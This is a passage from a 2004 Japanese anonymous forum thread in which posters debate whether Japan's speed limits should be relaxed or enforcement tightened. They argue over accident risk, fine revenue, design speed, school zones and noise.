613 :名無しさん@お腹いっぱい。:04/02/29 20:43 ID:???
このスレ初参加。

規制緩和派:捕まるリスク減少を訴える。
制限速度派:事故のリスク減少を訴える。

捕まるリスクより、事故のリスクの方がはるかにでっかいわな。事故は他人も巻き込むし。
車の運転ぐらいで命のリスクなど負いたくない。制限速度マンセー。
捕まるリスク減少にメリット無し。

614 :名無しさん@お腹いっぱい。:04/02/29 21:24 ID:???
>>611
君の言うとおり、二度とここには来ない方がいいかもね。
厨スレと思うのは別に勝手だけど、現状派が何を訴えても
「現在の規制が多くのドライバーに守られていない」という事実は変わらないし、
これからも大きくは変わらないだろう。それが現実だ。

>>613
残念ながら、車がある限り交通事故による命のリスクはなくならないよ。
だけど、車がなくなったら、現在のような文明的な生活は出来なくなるよ。
だから、多少の命のリスクには目をつぶって、利便性を取ったわけだ。
それが厭なら、道路もないような田舎で完全自給自足の生活を送ればいいよ。
少なくとも、交通事故による命のリスクはなくなるわけだから。

615 :名無しさん@お腹いっぱい。:04/02/29 21:41 ID:???
>>612
>>やっぱりそれなりに危険だと思うから。

そう思うなら、なんで80km出すの?
80kmが利便性に見合わない位危険だと思うなら60kmで走れば良いし、そう思わないなら80kmで走れば良いんじゃないの?
後者の場合、現状の規制を支持する必要はないと思う。

ちなみに私も、一般道は概ね80kmまでで走ってる。
交差点の殆ど無いバイパスとかはもうちょっと出すけど。
どうやら規制緩和派の人も、現状維持派の人も、出してるスピードはそんなに違わないみたいね。
自分達も日常的に出してるなら、捕まらない方が良いと思うんだけど?

多分、規制緩和をすると一般道100キロ以上で暴走する香具師が増えると考えてるのかな?
そうは思わないが、その点心配なら>>601みたいな妥協案もあるし。


616 :613:04/02/29 21:49 ID:???
>>614
誰もリスクを0にしろという極論など申してませんので。
「捕まるリスク減少にメリット無し」が、こちらの本旨です。
捕まえれば捕まえるほどに、安全対策する費用確保。

違反者のせいで、危険に晒されているわけですから、
その違反者に安全対策の費用を負担してもらうわけです。

それから、反対派が何を訴えても、
「現在の交通ルールは、全てのドライバーが認めている」という事実も変わらない。
認めた上で、違反しているのが現実です。

617 :600:04/02/29 22:00 ID:???
>615
利便性に見合う危険かどうかの議論は価値観の問題でここでは無意味なので避ける。
俺の考えは事故のリスクと違反の罰金(反則金)のリスクが比例している状態で良いと言うこと。


618 :600:04/02/29 22:03 ID:???
主張してる事は近いような気がするんだが質問。

>616
>「現在の交通ルールは、全てのドライバーが認めている」という事実も変わらない。

認めていない人がいるからこうして議論しているわけでしょ。
まさか「認めないなら免許取るな」という論旨じゃないよね?



619 :名無しさん@お腹いっぱい。:04/02/29 22:20 ID:???
>>615
いきなり免停って法が適切だと?
どうせ免停になったら新しいスレ立てるんでしょ?

>>618
ちょっと違うな。
スピード違反で捕まって怒りが収まらない人がいるから論議になっているんじゃないの?
つまり自分が普段出している速度を法定速度にしろって事だよ。
危険が増加する事に関してはだんまりなのが笑えるけど。

620 :名無しさん@お腹いっぱい。:04/02/29 22:26 ID:???
法定速度改正に反対の人は出て行けよ。
もう二度とこのスレに来ない方がいいよ。
道路は運転が上手い人だけが運転するべき。
スピード出すのが怖いのなら免許は返上しろよ。
ノロノロ走られるとどれだけ迷惑なのか理解しろ。

621 :613:04/02/29 22:37 ID:???
>>618
「認めているからこそ、免許が取れている」という論旨です。

現在の本の法律では、車の運転は原則禁止。
運転能力があり、かつ、交通ルールを守れる者のみに、
免許を与え、例外的に運転を認めているのです。

ですので、交通ルールを認めていないドライバーは存在しません。
ただし、無免許運転のドライバーは除きますが。

622 :613:04/02/29 22:41 ID:???
>>621の二行目
現在の本→現在の日本

>>620
道路は交通ルールが守れる人だけが運転するべき。
ルール守れないのなら免許は返上しろよ。
ビュンビュン走られるとどれだけ危険なのか理解しろ。
が、正論ですので。

623 :600:04/02/29 22:49 ID:???
>622
そういう論旨であれば

>それから、反対派が何を訴えても、
>「現在の交通ルールは、全てのドライバーが認めている」という事実も変わらない。

こういう考えの人がこのスレに来る意味が分からない。
議論自体が無意味だということなら議論に参加しなければ良いだけ。

624 :名無しさん@お腹いっぱい。:04/02/29 22:56 ID:???
法定速度より、科料・罰金が取り締まりをゆがめて
いる(または、いるように見える)と思う。

いきなり免停案は極端なように感じられるけど、現行
の点数制を見直して、点数のみか、正式裁判で免停
か実刑もしくは執行猶予みたいな制度にすれば、
速度を考えるきっかけになり、正当な制限速度に
収束すると思うのだが。

ついでに飲酒・信号無視・暴走行為みたいな行為も
本人を含めて考えるきっかけになると思うし。

これこそ民間人の陪審制にして、裁判官みたいな
「まとめてぽい」感覚をなくしてねっ。

ともかく、毎年減らない事故件数は、現状の法制度と
取り締まりではダメってことを示しているわけだし。


625 :名無しさん@お腹いっぱい。:04/02/29 23:03 ID:???
>>600
勝手に推測すると、免許取立ての人はスピード出したがるけど、ある時期を境に
スピードを出す事よりも安全運転をする事の方が大事だと思うようになる。
これを早めに悟って欲しいから議論になっているのかもしれないね。


626 :613:04/02/29 23:17 ID:???
>>623
>こういう考えの人がこのスレに来る意味が分からない。
>議論自体が無意味だということなら議論に参加しなければ良いだけ。

議論自体が無意味だと言ってませんが。
議論した上で、現状よりいいという結論が出れば改正すればよく、
現状より悪くなるor現状維持なら、却下すればいい。

規制緩和に反対する人間に参加権のない議論に、意味があるのでしょうか?

「現在の規制が多くのドライバーに守られていない」を受けて、。
「現在の交通ルールは、全てのドライバーが認めている」です。
認めた上で守っていないのが現状であり、現状の速度に合わせるのはなんら根拠のないことであり、
現在の交通ルールを守るべく取り締まり強化すべきとの論です。

627 :名無しさん@お腹いっぱい。:04/02/29 23:22 ID:???
>>626
いや、ここで議論しても改正も却下もされん!


628 :名無しさん@お腹いっぱい。:04/02/29 23:25 ID:???
ここは、「裏社会」−「違反の潰し方」のスレであって・・・

空気読め!!!


629 :613:04/02/29 23:33 ID:???
>>627
そりゃそうだけど、それじゃ夢がないじゃん。

>>628
[運輸・交通」スピードオーバーは厳しく取り締まれ
http://society.2ch.net/test/read.cgi/traf/1062161128/
と統合されたようなのよ。なもんで、反対派もいっぱい来るよ。

630 :名無しさん@お腹いっぱい。:04/02/29 23:34 ID:???
>>628

答えに詰まりましたね?

631 :600:04/02/29 23:43 ID:???
>626
俺自身が規制緩和に反対なんだけど


632 :名無しさん@お腹いっぱい。:04/02/29 23:46 ID:???
>>630
628 は 624 な漏れだか?


633 :613:04/02/29 23:49 ID:???
>>631
そりゃわかってるけど、
>>622の後半部分を受けて、>>623だよね?
>>622の後半は>>620に宛てたものであり、
「法定速度改正に反対の人は出て行けよ。
もう二度とこのスレに来ない方がいいよ。」の意見の
論の部分を揶揄したものですよ。

634 :600:04/02/29 23:58 ID:???
>633
あーごめん。
>>623に書いた「>>622」は「>>621」の間違い。

「全てのドライバーはルールを認めてるはず、であれば議論の必要なし」という考えか否かとの確認の意味での>>623だった。
そうで無ければ文句言うつもりは無い。

ただ、「全てのドライバーはルールを認めて免許を貰ってる」という「事実」をことさら強調することは議論の上で障害になると思う。

635 :名無しさん@お腹いっぱい。:04/03/01 00:08 ID:???
別に際限なくスピード出させろって言うつもりはないんだが、せめて世界の常識からかけ離れた規制にならないようにして欲しい。
現状の規制は、はっきり言って日本の恥だよ。
これからボーダレス化が進展して行った時、日本へ来た外国人の人は「変な国だ」と思うんじゃないかな。
逆に外国へ日本人が行って運転する時には日本の感覚で運転すると、速度や後続車への避譲の違いから「日本人ドライバーは変な奴が多い」と言われかねない。
国が違えば多少の違いは当たり前だけど、あまりに極端すぎる。

もっとも「我が日本民族は世界一優秀だから、馬鹿な外国人の事など気にするに値しない」などと言う人は、それは価値判断の問題だけどね。
ただ、私はやはり世界の常識はそれなりに気にするべきだと思う。

636 :名無しさん@お腹いっぱい。:04/03/01 00:11 ID:???
>逆に外国へ日本人が行って運転する時には日本の感覚で運転すると、速度や後続車への避譲の違いから「日本人ドライバーは変な奴が多い」と言われかねない。

これ本気で思ってるの?

637 :613:04/03/01 00:11 ID:???
>>634
「全てのドライバーはルールを認めてるはず、であれば議論の必要なし」
はノーです。

「全てのドライバーはルールを認めて免許を貰ってる」としたのは、
取り締まり強化の根拠です。今まで取り締まり率が低かったのだから、
今さら取り締まり強化は暴挙だとの論を、否定するつもりで書きました。

「現在の規制が多くのドライバーに守られていない」という現状は、
自分もよくないと感じてます。
>>600さんは、現状の規制のままとの意見ですが、
取り締まり部分については、どうすべきだと思いますか?

638 :名無しさん@お腹いっぱい。:04/03/01 00:11 ID:???
>「全てのドライバーはルールを認めて免許を貰ってる」
ルールの存在を知ってるという意味ならその通り。
ただ、賛同しているかどうかは別問題。

道路はみんなの為のものであって、公安委員会の私有物ではない。

639 :名無しさん@お腹いっぱい。:04/03/01 00:17 ID:???
>>636
>>これ本気で思ってるの?
避譲義務に関しては全面的に本気。

速度に関しては、現状では日本の規制を守ってる人自体少数派だから、外国で日本人ドライバーが呆れられる事はない。
つまり、守られない事が前提だからそんな状態になってない。
でも、もしみんなが日本の速度規制を守ったら、まさにそういう状態になると思う。


640 :600:04/03/01 00:18 ID:???
>637
取り締まりは違反の度合いに比例して行われるべきと思う。
20km/hオーバーの奴より40km/hオーバーの奴の方が捕まる頻度も、捕まったときの罰金も高いのが正しいという考え。
罰金は比例してるが、頻度は比例してないのではないかな、って思う。
具体的改善策についてはアイデアがないが、結果的に「アホみたいに飛ばせば捕まる」という状態であるべきと思う。

641 :名無しさん@お腹いっぱい。:04/03/01 00:22 ID:???
>635
「世界の常識」って奴を具体的に示して貰えませんか?
ヨーロッパの常識とかアメリカの常識じゃなくて、アジアとかアフリカとかを含めて。


642 :名無しさん@お腹いっぱい。:04/03/01 00:23 ID:???
>639
>避譲義務に関しては全面的に本気。

速度規制が厳しいことと関係あるの?

643 :613:04/03/01 00:29 ID:???
>>638
>道路はみんなの為のものであって、公安委員会の私有物ではない。
には同意しますが、そのみんなの為にどのようなルールにすべきかを
判断するところが公安委員会だと思われます。

現状の交通ルールのどの部分に、
みんなの為でないと感じるのでしょうか?

644 :名無しさん@お腹いっぱい。:04/03/01 00:31 ID:???
ageておこう

645 :613:04/03/01 00:34 ID:???
>>640
厳しい違反は厳しく取り締まり、甘い違反は甘く取り締まる。
現状の取り締まりとあまり変わらないと思いますので、
全体的に少しずつ取り締まり強化していこうという現在の政府の見解と
ほぼ一致しているということですね。自分もそれが妥当だと思っています。

646 :名無しさん@お腹いっぱい。:04/03/01 00:39 ID:???
世界各国がどんな規則なのかは関係ない
絶対評価での安全速度で法定速度を決めるべき
そもそも違反者が多いから法律をかえるってのはどうか?
赤信号渡る歩行者だって多いよね

647 :名無しさん@お腹いっぱい。:04/03/01 00:44 ID:???
>>613

代理でレスするが「多くの人が速度違反しているのは異常」とか言っていたぞ
しかも「法定速度を高くすれば違反者が減る」なんて抜かしてた奴がいる


648 :名無しさん@お腹いっぱい。:04/03/01 00:46 ID:???
>645
>厳しい違反は厳しく取り締まり、甘い違反は甘く取り締まる。
>現状の取り締まりとあまり変わらないと思いますので、

そうかな?
感覚として「甘い違反が厳しく取り締まられてる」という部分があるからこういう話になるんじゃないの?
俺の感覚としては現状と比較して、厳しい違反にはより厳しく、甘い違反にはより甘くだな。


649 :名無しさん@お腹いっぱい。:04/03/01 00:53 ID:???
>>648
なんか自分がやった違反は甘いんだから見逃せって悲鳴に聞こえるよ
煽るわけじゃないが素直にそう感じた
とにかく全体的に速度違反を取り締まれば全て解決すると思うが、
警察も人手がたりないんだろうね

650 :613:04/03/01 00:54 ID:???
>>647
多くの人が速度違反しているのは異常だと思いますが、
法定速度を高くすることで違反者を減らしても、危険度は現状と変わらないのにも関わらず、
違反金が減るため、安全対策費が減り、結果として危険度が増しますね。

違反してる人がいるか、いないかは二次的なものであり、
規制は事故が減るかどうか、交通がスムーズになるかの視点から、
決めていかねばならないと思います。
代理なのに反論してスマソ。

651 :613:04/03/01 00:58 ID:???
>>648
取り締まりする率として、実際に甘く取り締まってると思いますよ。
ただ、甘く取り締まろうが捕まった人にとっては甘くない。
違反金が安いって点では甘いので、堪えてください。

652 :名無しさん@お腹いっぱい。:04/03/01 01:03 ID:???
速度違反をしている時に捕まる覚悟をしているのが現状維持派
捕まったら怒り出すのが規制緩和派

確かに空いている時はもうちょっと速度出しても平気だと思うけど、
法定速度守っていれば安全であることを自覚するのも事実。
生活道路を法定速度の30Kmで走れば多少の飛び出しでは事故が
起きる訳がないと思う。
違反で捕まる事なんか事故に遭うこと考えれば全然痛くない。


653 :名無しさん@お腹いっぱい。:04/03/01 01:10 ID:???
>>652
私も生活道路は30キロでいいと思う。
だけど、生活道路でねずみ捕りやってるのを見た事ある人居る?
危険性の少ない幹線道路を60キロに抑え、効率よく反則金利権稼ぎをやってるのが現状。


654 :名無しさん@お腹いっぱい。:04/03/01 01:15 ID:???
>>650
>>法定速度を高くすることで違反者を減らしても、危険度は現状と変わらないのにも関わらず、
>>違反金が減るため、安全対策費が減り、結果として危険度が増しますね。

安全対策費に関しては、反則金が減っても無駄を省けば十分。
電光表示板が一千万以上って、どう考えてもおかしいだろ。
天下り警察OBの懐に幾ら入ってるか知らないが(w

655 :名無しさん@お腹いっぱい。:04/03/01 01:19 ID:???
>>653

高速道路を除く一般道路での最高速度が60キロなのは理由があるんじゃないの?
例えばその速度で電柱にぶつかった時の搭乗者の安全度とか。
無意味に低く抑えているとは思えないんだけどなぁ。

とりあえずもう寝ます。
みんなに事故に遭って欲しくないからわざわざキツイ事も言ったけど、
気に触った人がいたらゴメンね。


656 :名無しさん@お腹いっぱい。:04/03/01 01:31 ID:???
>>627
>>いや、ここで議論しても改正も却下もされん!

確かにそうだけど、みんなで>>82>>238>>450などにメールで意思表示すれば、少しでも変わるかもしれない。
友人などにも呼びかけてみんなで送れば、もっと効果があると思うし。

657 :627:04/03/01 05:52 ID:???
>>657
すまんかった。
そこまで悲観して言った訳じゃなく、スレの場所から
「まったく警察は・・・」って愚痴いいあうのが趣旨かと (笑)

警察よりここの人のが交通安全を真剣に考えてると思ったよ。

警察スレで同じこと話したら「ならスピードだすなププ」くらいの
返事しか返ってこないよ、きっと。


658 :657:04/03/01 05:53 ID:???
>>657 ×
>>656
だった

659 :名無しさん@お腹いっぱい。:04/03/01 07:24 ID:???
現状派も緩和派も自分の主張を譲らないのは、「これなら100%安全」という明確な基準がないからだろう。
明確な基準がない以上、誰かが決めなければいけないのだが、誰が決めるかでモメている(?)のがこのスレ。
現状派は、公安は交通規制の神様だから、公安が決めた事はどんな事でも絶対的に正しく、
神様の下にいるドライバーは神様に従わなければいけないと考え、
緩和派は、実際に道路を利用するドライバーの選択に任せるべきだと考える。

しかし、現実はどうかと言えば、神様の命令に従うものはほとんどなく、
中には、神様の懲罰を逃れるために様々な対策をしている者もいる。
また、それを社会的に許容しているのである。

660 :名無しさん@お腹いっぱい。:04/03/01 12:13 ID:???
>659
長い割に内容の無いレスだな。

661 :名無しさん@お腹いっぱい。:04/03/01 13:35 ID:???
だねっ
公安=神様 ってバカ?
公僕=しもべ だろうに・・・


662 :613:04/03/01 15:59 ID:???
>>654
>安全対策費に関しては、反則金が減っても無駄を省けば十分。
>電光表示板が一千万以上って、どう考えてもおかしいだろ。
省けぬ無駄もあるのよね。
コスト重視で、新規の技術を導入しなければ技術は廃れる。
安くなった頃に民間もこの技術を使うんだから、
初期の無駄なコストは公的機関に持ってもらうのがベターじゃないかな。

>天下り警察OBの懐に幾ら入ってるか知らないが
この部分は完全に無駄だから、見つけ次第、ガンガン指摘していけばよろし。

663 :613:04/03/01 16:04 ID:???
>>656
ちなみに、日弁連は緩和に否定的みたいだよ。
http://www.marimo.or.jp/~yuri/road/991214free.html
緩和の提案が、却下されてるっぽい。

664 :名無しさん@お腹いっぱい。:04/03/01 17:16 ID:???
原稿が却下された=提案に対して日弁連が否定的な見解を示した、とは言えない。

665 :名無しさん@お腹いっぱい。:04/03/01 17:33 ID:???
>>661
まあ、規制緩和反対派はしもべである公安を神様と信じてるからしょーがないよ。

666 :613:04/03/01 20:05 ID:???
>>664
自由と正義、たまに読むんだけど、
ちょっとぐらい無茶な提案でも載ってるよ。
原稿を却下したってことは、けっこう否定的だと思ったわけ。
自由と正義って、弁護士全員に配られる雑誌だから、影響力はかなりある。
否定的な見解を示したとは言えないが、肯定的な見解を示すのは「ノー」という立場だと思います。

が、一部の裁判官、検察官、弁護士の中にも「速度違反取締」が
不公平な状態にあるとは思っている人がいるのは事実なようです。

667 :名無しさん@お腹いっぱい。:04/03/01 20:25 ID:???
>666
原稿の採否は編集者の判断でしょ。
中身が判断されたのか、人間が判断されたのかはわからんが、そのサイトを見る限りちょっといっちゃってるよ、その弁護士。

668 :613:04/03/01 20:45 ID:???
>>667
確かに、人間が判断された可能性もありますな。
日弁連が正式見解としては、どっちも出してないので、単なる憶測レベルでした。スマソ。

今日の昼の番組「ちちんぷいぷい(関西系)」にて、こんな話題が。
最近60代の人で、教習所に通っている人が増えてるようです。
日本で100歳以上の免許所持者は4人。最高齢の免許所持者は104歳。
この104歳の人はペーパーではなく、実際に運転もされているようです。

最近問題となっているのが高齢ドライバー。
高齢化に伴い、規制緩和はますます困難なものになっていく予感がします。

669 :名無しさん@お腹いっぱい。:04/03/01 20:53 ID:1GAFv8a3
>>663
日弁連でさえ、警察とは事を構えたくないって事だろうね。
正義と国民の安全を掲げて、誰にも止められない官僚組織・・・
程度は違うが、昔の軍部みたいだね。

670 :名無しさん@お腹いっぱい。:04/03/01 21:02 ID:1GAFv8a3
>>662
それは一理あるかもしれないが、それにしても高い気がする・・・
でも、まあ電光表示板は良いとしましょう。
アメリカでも、NASAやペンタゴンがべらぼうに高い最新技術を導入したお陰で、その技術が民間に波及効果を及ぼしたりしてるみたいだしね。

ただ、ガードレールや標識が高いのには納得行かない。
どうみても、ただの鉄製品にしか見えないのだが。

671 :613:04/03/01 21:10 ID:???
>>669
名古屋弁護士会のだけども、事実認定の公平性の観点からの要望は出してますね。

http://www.nichibenren.or.jp/jp/katsudo/sytyou/jinken/60/1967_4.html
以下、一部はしょってますが、
交通反則金通行制度は、
違反事実が取締機関たる警察の長の事実認定のみによって確定され、
且つこれを前提として科せられる処分が実質的には刑罰に均しい処分である点において制度自体憲法違反の疑いを残すものであり、
従ってその運用に当っては国民の人権に不測の侵害をえる危険性を内包している。

よって、運用を預る警察当局においては、その取扱いにおいて、いやしくも運転者の人権を損うことのないよう慎重を期し、
捜査、通告、納付の各手続において細心の注意を払われるよう要望する。

672 :613:04/03/01 21:35 ID:???
>>670
>ただ、ガードレールや標識が高いのには納得行かない。
>どうみても、ただの鉄製品にしか見えないのだが。
ガードレールや標識なんか、行政に対してしか需要がないからね。
行政のお抱えの製造業者があるんでしょう。

裁判所でしか使わない速記用のタイプライターがべらぼうに高かったことがあった。
高いから儲けてると思われがちだが、ほとんど売れない物を作らないといけない業者の負担はでかい。
べらぼうに高くてやっと儲けがでる程度。

ただ、ガードレールや標識なんかはかなりの数が出てるはずだから、
複数業者に頼んで、競争させればもっと安くすむかもしれないね。
高くても売れるのも事実だから、安く済ます努力を怠ってる可能性がある。
また、お抱え業者に頼むから、途中でポッケにしまう輩も出てるのかもしれないし。
難しい問題だぁね。

673 :名無しさん@お腹いっぱい。:04/03/01 22:02 ID:???
>>671
小学校の社会科でも習う「立法」「行政」「司法」の三権分立は大半が知っていると思うが、
交通規制については、これらが公安に集中しているから問題だということだね。
立法に当たる交通規制を設定する部署と、それによって交通取り締まりをする部署、
反則金を管理する部署を完全分離する必要があるな。
分離する事によって、反則金をアテにした恣意的な規制を防げる可能性が高まる。

674 :名無しさん@お腹いっぱい。:04/03/01 23:32 ID:???
守るべき合理的理由を見出せない規制により、とくに危険も迷惑もない形式的な違反が日常的にあふれる状態をつくっておき、
そのごく一部を取り締まり(元警察官僚・平沢勝栄議員によれば検挙率は0.005%)
そこから生じる莫大なカネを天下り先へ流し込む、
それが交通行政の実質といえる。つまり「交通商法」。
http://www008.upp.so-net.ne.jp/ko-tu-ihan/LIBRALY/LIBRALY_keisatu-batou.htm

675 :名無しさん@お腹いっぱい。:04/03/02 04:37 ID:???
>>674
結構本質だね。

警察は違反も事故もそこそこあって欲しいように思えてしまう。

安全の面から制限速度を語ってるここの人が愛おしいよっ(w


676 :名無しさん@お腹いっぱい。:04/03/02 09:09 ID:???
>>674
運用面で語っている感はするけど、素人がアレコレ言い合うよりわかりやすいよなぁ。
そもそも、これも法規面で欠陥があるのが原因なのだが。

677 :名無しさん@お腹いっぱい。:04/03/02 23:08 ID:QVlebdbv
>>673
確かに「規制」「取締り」「反則金収入の管理」が集中してるのは問題だよね。
もっとも、別組織にしても相互に癒着されたら意味無いけど。

組織を分離した上で、反則金収入の分だけ翌年の自動車税の税率を安くするというのはどうだろ。
つまり、全ドライバーで自動車税納付額に応じて機械的に山分け。
これなら癒着しようがないのでは?
公益事業に寄付とかにすると、その公益事業を行う組織と公安委員会が癒着しそうだし。

678 :名無しさん@お腹いっぱい。:04/03/02 23:18 ID:???
おつかれ、妄想君

679 ::04/03/03 00:18 ID:eGfwEh/y
原付バイクが40kで走っていて後ろから来た白バイに止められキップ切られる
ことってあるの??

680 :名無しさん@お腹いっぱい。:04/03/03 00:44 ID:???
40km/hで切られたという話は聞かないな

681 :名無しさん@お腹いっぱい。:04/03/03 15:05 ID:???
>>678
現在の規制が守られるのも十分な妄想だが。

682 :613:04/03/03 20:14 ID:???
本日のテレビにて

年間3000人以上が交通刑務所送りとなっています。
「事故を起こす前に、捕まえてくれていれば」と囚人が言ってました。

速度違反で捕まったときは、事故を起こす前に捕まってよかったと前向きに考えましょう。

683 :とある役所のヒト:04/03/03 20:59 ID:9OgysoBp
道路付属物の値段(工事積算上の価格)

警戒標識1本:48950円(支柱・標識材料費,設置労務費込み)
ガードレール1m当たり:10900円(材料・労務費込み)
歩車道境界ブロック2m:6000円(材料のみ)

事故ってこれらのモノをぶっ壊したヒトっていくら請求されてるの?
ガードレールは1スパン2mなので実質上記の倍になるね。
標識は一度壊すと看板以外は総取替えの上,
舗装掘り返して基礎からやらないといけないので,
実質10万位はかかるね。

684 :名無しさん@お腹いっぱい。:04/03/03 21:49 ID:???
とりあえず、最高速度規制は法的に安全性が認められている設計速度以上にすべき。
設計速度は法的に安全性が認められているので、「安全厨」も文句は言えないはず。
最終的には>>453まで緩和させるのだが、急激な変化を避けるためにワンクッション置く。

>>683
物損事故でも、想像以上の請求があるらしいよ。
ここ最近、対物無制限の保険が出ているのもそのため。

685 :613:04/03/03 22:20 ID:???
設計速度以上は論外でしょ。
それと、設計速度は法的な安全性が認められていません。構造的な安全性のみです。

制限速度は、設計速度を基準としつつ、
近くに学校があり、歩行者が多い。周りに建物が多かったり、勾配があり視界が悪い。
照明対策や歩道、路側帯対策が不十分である。交差点や信号が多い。車の通行量が多い。
などなどを考慮し、設計速度より遅く決定されています。

686 :名無しさん@お腹いっぱい。:04/03/03 22:35 ID:5wZReHV1
設計速度は少なくとも,
勾配による視距,カーブの視距及びR,路側対策には反映されています。(道路構造令参照)
照明の有無は速度規制とはほぼ無関係と思われます。
照明の無い高速道路もありますので。(東関東道・成田以北等)

制限速度は公安委員会の言い分では設計速度以下に設定する根拠として,

・住宅密集地における騒音・振動対策
・通学路における安全確保
・気象の影響を受ける箇所もしくは事態

歩道の無い箇所や路肩が狭い箇所は設計速度自体が低く設定されてます。

687 :名無しさん@お腹いっぱい。:04/03/03 23:22 ID:???
>>685
構造的な安全性でも、一つの根拠にはなる。
それに、安全マージンが十分考慮されている設計速度は限界速度じゃないだろうし、
完全とは言えないが、車の流れ≒制限速度の道路が増えるのではないかと思うが。

688 :名無しさん@お腹いっぱい。:04/03/03 23:27 ID:???
>687
ものすごいトーンダウンだな。
小泉内閣以上だ。

689 :613:04/03/04 01:30 ID:???
>>686さんのが正しい感じだね。
道路構造令読んできます。ってかこんな制令あったんだ。知らなんだ(汗

>>687
制限速度を設定速度より低く設定する根拠は
>>686
>・住宅密集地における騒音・振動対策
>・通学路における安全確保
>・気象の影響を受ける箇所もしくは事態
です。これらはいずれもドライバーが運転中に知ることができないものです。
制限速度を無視して、設定速度で走る車の流れはこれらを無視しちゃってるわけですね。

設定速度を制限速度にするデメリット。
周辺住民から苦情が出ても、取り締まりができなくなる。
通学中の子供が危険。雨や霧で事故増加。

690 :名無しさん@お腹いっぱい。:04/03/04 11:45 ID:???
>>684>>687
言いたいことはわからないでもないが、設計速度君は弱気だな〜。
仮に規制が設計速度になっても、郊外だと緩和メリットが受けられないし、
車の流れ>>制限速度の道路はまだ残るだろう。

>>689
>・住宅密集地における騒音・振動対策
>・通学路における安全確保
>・気象の影響を受ける箇所もしくは事態
>これらはいずれもドライバーが運転中に知ることができないものです。
児童・生徒や大雨・降雪は目で見えるのだから、
少なくとも、下2つはドライバーが認識できるはず。
あと、騒音・振動対策といっても、車によって騒音の度合いは違うし、
一部のプロ市民による反社会的運動も含まれる。

691 :名無しさん@お腹いっぱい。:04/03/04 17:34 ID:???
>689
>住宅密集地における騒音・振動対策
旧道は言えるかと思いますが新しい道は道路が先に出来る。
道路があるところに引っ越すのは住民の自由であって
言い換えれば騒音があるところへ引っ越してるのが現実である

>通学路における安全確保
標識などがあり、制限速度で規制するよりもロードブロックの設置が望ましい。
ロードブロックとは意図的な起伏を路上に作り減速させることです。

>気象の影響を受ける箇所もしくは事態
このような場合にはドライバー任せである矛盾を皆が説いているのでは。



692 :613:04/03/04 20:53 ID:???
>>690
>児童・生徒や大雨・降雪は目で見えるのだから、
>少なくとも、下2つはドライバーが認識できるはず。
通学路であれば、児童の通学>車の交通の配慮が特に必要です。
一つの道路を複数用途で使い分けているわけですから、
その場所に適した優先順位があると思います。

他の場所で児童を考慮しなくてもよいとの理論ではなく、
通学路においては、特に児童を考慮しなくてはならないとの理論です。

また、大雨・降雪の気象の自体は見えますが、
気象の影響を受けるかどうかは、見えないと思います。
しかし、晴天においても、悪天候下の規制をする必要があるか否かは疑問ですが。

>あと、騒音・振動対策といっても、車によって騒音の度合いは違うし、
車による度合いはありますが、車検などのように最低基準は設けられています。
その最低基準での騒音・振動対策なのでしょう。

693 :613:04/03/04 20:54 ID:???
>>691
>旧道は言えるかと思いますが新しい道は道路が先に出来る。
>道路があるところに引っ越すのは住民の自由であって
>言い換えれば騒音があるところへ引っ越してるのが現実である
新しい道が先にできても、同時にその道の制限速度が定められます。
その制限速度から派生する騒音があるところへ引っ越したのです。
閑静な住宅だったのに、騒音が大きくなれば苦情がでます。

また、後に住宅が密集すれば、そのエリアは生活>交通の配慮が必要となります。

>標識などがあり、制限速度で規制するよりもロードブロックの設置が望ましい。
>ロードブロックとは意図的な起伏を路上に作り減速させることです。
確かに標識もありますが、その標識だけだと安全対策が不十分であります。
通学路の標識あり=速度落とせ&飛び出しを注意せよ。となりますが、
どうせ、速度を落とすのですから、初めから制限速度に盛り込んでおけば効果的です。
また、ロードブロックは費用がかかりすぎます。
特に危険な場所にしか設置できないのが、現状でしょう。

694 :613:04/03/04 21:08 ID:???
http://www.nishinippon.co.jp/media/news/news-today/20031206/news008.html
交通安全に対する国の関与を減少すべく、反則金を直接地方財源にするとの案が出ています。
反対意見もあり、最終的には駐車違反の反則金のみ、地方財源に移すようですが、
これにより、事故の発生率を減らせれば、他の違反金も追従する可能性もありそうですね。

交通安全に対する根本的な制度改革ですので、
交通事故減少に繋がるか否かを、きちんと見守っていく必要がありそうです。

695 :名無しさん@お腹いっぱい。:04/03/04 21:22 ID:???
>>692
通学路で児童生徒の通学に配慮する必要があるのはごもっともであるが、
それはドライバーの意識で十分だと思うし、多くはそうしているはず。
それに、通学時刻なんて大体決まっているので、
それだけのために全時刻を規制する必要があるかどうか疑問。
気象条件も同様で、それもドライバーの臨機応変に任せておけばいい。
積雪があるのにノーマルタイヤだったら、普通は飛ばせないでしょ。

696 :名無しさん@お腹いっぱい。:04/03/04 21:33 ID:???
騒音問題については、ゴネ得を狙うプロ市民連中が騒いでいるだけのような気がしてならない。
鉄道関係の板を見ると分かるが、エゴ住民の我が儘言い放題の現状を知る事が出来るので、
一度、小田急複々線スレや新幹線スレで確認してみるといい。
それに、制限を緩和したからと言って、急激に大きくなるものでもないだろうし、
元々の車の流れ自体は大きく変化しないように思えるが、どうだろうか。

697 :613:04/03/04 22:00 ID:???
>>695
>通学路で児童生徒の通学に配慮する必要があるのはごもっともであるが、
>それはドライバーの意識で十分だと思うし、多くはそうしているはず。
ドライバーの意識だけでは、不十分だと思います。
通常、規制とは自主規制できないものに課せられます。
ドライバーの意識=自主規制ですが、
現在のドライバーの中で質の悪いものでも、
その規制下では、なんとかやっていけるという規制なのです。
多くはそうしてる=少しはそうしてない。この少しに対する規制が必要なのです。

ドライバーの良識と、遵法精神による速度規制の二本柱でも、
通学路で児童を巻き込む事故があとを絶ちませんからね。
速度緩和すれば、事件はもっと増加するかもしれません。

>それに、通学時刻なんて大体決まっているので、
>それだけのために全時刻を規制する必要があるかどうか疑問。
これは同意しますが、全時刻を規制すれば必要な時刻も確実に規制できます。
必要な時刻のみ規制できる妙案があればいいのですがね。

>気象条件も同様で、それもドライバーの臨機応変に任せておけばいい。
>積雪があるのにノーマルタイヤだったら、普通は飛ばせないでしょ。
個人の価値観に全てを委ねるのは怖いのです。
気象条件により確実に訪れるリスクは、事前に回避しておきたい。

ただ、通学路、気象条件の両方に当てはまりますが、
最悪のリスクを考慮して、全時刻を一律規制するのが、
合理的な規制でないのは同意します。

698 :名無しさん@お腹いっぱい。:04/03/04 22:08 ID:???
>・住宅密集地における騒音・振動対策

これについては制限速度を低くするための
詭弁に使われる事が多いです。
車が発生させる騒音としてエンジン音,風切り音,タイヤが走る音等。
また,振動としては走行時衝撃における振動,音による振動,風による振動等。
幹線国道並の交通量の道路では市街地内に限って
これらの弊害が顕著に表れると思いますが,
